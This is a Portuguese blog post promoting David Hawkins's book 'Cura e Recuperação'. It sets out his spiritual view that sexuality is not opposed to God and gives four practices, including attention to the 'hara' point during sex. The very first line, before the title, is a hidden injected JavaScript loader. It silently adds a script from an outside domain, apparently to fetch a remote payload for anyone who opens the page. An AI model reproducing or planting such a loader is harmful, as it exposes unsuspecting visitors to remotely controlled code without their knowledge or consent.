;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Sexualidade: desde quando isso é coisa de Deus? (Parte 2)
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David Hawkins

Sexualidade: desde quando isso é coisa de Deus? (Parte 2)

No artigo da semana passada, explicamos a visão da sexualidade nos diferentes níveis de consciência. Essa semana vamos aprofundar na visão sobre Deus que está por trás de enxergar o sexo como algo carnal, o qual apenas desejamos, em comparação a enxergar o sexo como algo que se manifesta com amorosidade.

Vamos também ensinar práticas para que essa mudança em relação ao sexo seja possível para cada um de nós, saindo de um campo de consciência de desejo para um campo de consciência amoroso no âmbito da sexualidade.

Visão de Deus sobre sexualidade

Deus é Infinito Amor, Infinita Bondade, Infinita Misericórdia, é a Verdade, É. Toda vez que vivenciamos algo diferente disso, é um julgamento do nosso ego, um reflexo do nível de consciência ao qual achamos melhor nos conectar em determinado momento. 

O distanciamento de Deus que pode ser causado pela não aceitação dos nossos impulsos sexuais pode chegar até o ateísmo. Já que acreditamos que por sentir esses impulsos não somos dignos de um Deus Amoroso.

“Como podemos nos imaginar, curtindo a nós mesmos em um empreendimento humano que está ocorrendo em todo esse campo de energia enquanto secretamente pensamos que Deus provavelmente nos punirá por causa do assunto porque a visão de Deus que surge nesse campo é punitiva? Estamos certamente separados Dele e se conseguirmos qualquer satisfação ou felicidade, muito provavelmente existirá expectativa ou retaliação no final.

Algumas pessoas não suportam a intensidade do conflito entre um impulso biológico, uma necessidade psicológica, e a religião. Então, simplesmente evitam isso através do ateísmo, que apenas elimina a culpa. Precisam abrir mão de sua visão de Deus e religião da sexualidade. Para algumas pessoas, isso é um conflito impossível de se resolver e muitos terminam como ateus, pois não veem maneira de lidar com sua humanidade e suas visões de Deus.” – Dr. David Hawkins, “Cura e Recuperação”

Voltando a Adão e Eva

É claro que todos somos dignos do Amor de Deus, mas são nossas escolhas que nos afastam dele. Assim como o que aconteceu com “Adão e Eva” ao morderem a maçã e a primeira sensação que sentiram foi vergonha por estarem em corpos nus, seguida pela culpa disso estar acontecendo. Ao voltarmos para a nossa inocência, para a nossa intuição de só nos abrirmos para esse tipo de experiência com quem nos ama e respeita e vice-versa, com quem há um compromisso, tudo muda. Paramos de sentir culpa e vergonha e retornamos para uma experiência celestial do Jardim do Éden, inclusive envolvendo nossa sexualidade. Saímos da carnalidade e voltamos para a nossa verdadeira essência.

“A recontextualização resolve os problemas que os humanos dizem existir com a sexualidade porque na sutileza dessa experiência interior está a reconexão com a alegria da nossa inocência. Toda a questão de se Deus aprova o sexo, desaparece.” – Dr. David Hawkins, “Cura e Recuperação”

Práticas para o sexo amoroso

Vamos ensinar aqui quatro práticas para recontextuaização da nossa vida sexual, de forma que a prática do sexo amoroso saia de ser algo improvável e distante e se torne algo simples e factível, presente em nossas vidas!

1ª Prática

A primeira prática é observar que escolhemos manter o padrão de desejo, porque acreditamos, como sociedade, que é isso que vai fazer o sexo acontecer em nossas vidas. Isso nos prende a um padrão que limita profundamente nossa experiência. 

“A ilusão é acreditar que é o desejo que traz o sexo para nossa vida. Na verdade, é o oposto. O querer e o desejar estão bloqueando o sexo de entrar em nossas vidas, assim como o seu desfrutar quando está presente. Com o desapegar de resistir a esse desejo, todo indesejado que foi reprimido e suprimido vêm à tona. Se for permitido que seja libertado e flua sem que nada seja feito a seu respeito, sem se opor ou resistir à experiência da energia, começa a se descomprimir. Eventualmente, por ter uma quantidade limitada dessa energia, ela finalmente para.” – Dr. David Hawkins, “Cura e Recuperação”

2ª Prática

Essa prática é sobre estar atento a padrões de pensamentos fantasiosos e promíscuos em relação ao sexo. Não podemos controlar para que esses pensamentos não surjam, mas podemos escolher como vamos lidar com eles quando aparecem.

Aqui está a chave: quando surgirem esses pensamentos, não vamos dar assas as emoções e embarcar na fantasia, assim que surgirem já vamos cortar pela raiz e não pensar mais sobre isso. 

3ª Prática

A prática que vamos ensinar aqui não consta no “Capítulo 6: Sexualidade” do livro “Cura e Recuperação”, o qual inspirou esse artigo. Está descrita no “Capítulo 18: Relacionamentos” do livro “Deixa Ir”, sobre o qual também já escrevemos dois artigos. 

Essa é uma prática que tem por objetivo expandir a experiência do orgasmo, que sai de ser experienciado apenas nas partes genitais para toda a pélvis, abdômen, pernas, braços e todo o corpo até que não haja uma limitação para o orgasmo.  

“Essa expansão (do orgasmo) é facilitada por se tornar consciente que as caretas faciais e respirações ofegantes são restrições devido ao medo da perda do controle e tentativas de limitar a experiência. Se o indivíduo respirar devagar e profundamente, sorrindo em vez de fazer caretas, o medo vai se tornar consciente e pode ser rendido.” – Dr. David Hawkins, “Deixar Ir”

4ª Prática

Por fim, a última prática que vamos ensinar é sobre uma técnica de meditação que pode ser feita na hora do ato. É bem simples, basta se concentrar em um ponto do corpo que os japoneses chamam de “hara”, o qual fica dois dedos abaixo do umbigo. 

“Uma maneira de desfocalizar da fisicalidade local do corpo surge da antiga tradição técnica meditativa de focar sua atenção no ponto a dois dedos abaixo do umbigo e mantendo-a lá durante toda a experiência. Apenas tente isso. Esse é um ponto que os japoneses chamam de “hara”. É usado em artes marciais onde se coloca o foco e o centramento. Em vez de prestar atenção aos movimentos do corpo, as manipulações e infinitas ansiedades, concentre-se e fixe sua atenção nesse ponto, dois dedos abaixo do umbigo. Mantenha sua atenção nele, não importa o que esteja acontecendo e você notará que está de certa maneira distanciado.

Nesse estado, a pessoa se torna o participante/ observador autônomo. Toda a experiência toma dimensão diferente. Estará acontecendo espontaneamente em você, mas em vez de estar focado no local, você experiência de um campo de energia mais geral. Tente isso como uma maneira de se mover da experiência local para o coração. Apenas mova-se para esse ponto chamado “hara” e note a mudança na qualidade da experiência.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

Essa é a segunda parte em uma sequência de artigos sobre o tema sexualidade. Na primeira parte reportamos sobre como é o sexo em diferentes níveis de consciência, o que traz ainda mais clareza sobre o assunto.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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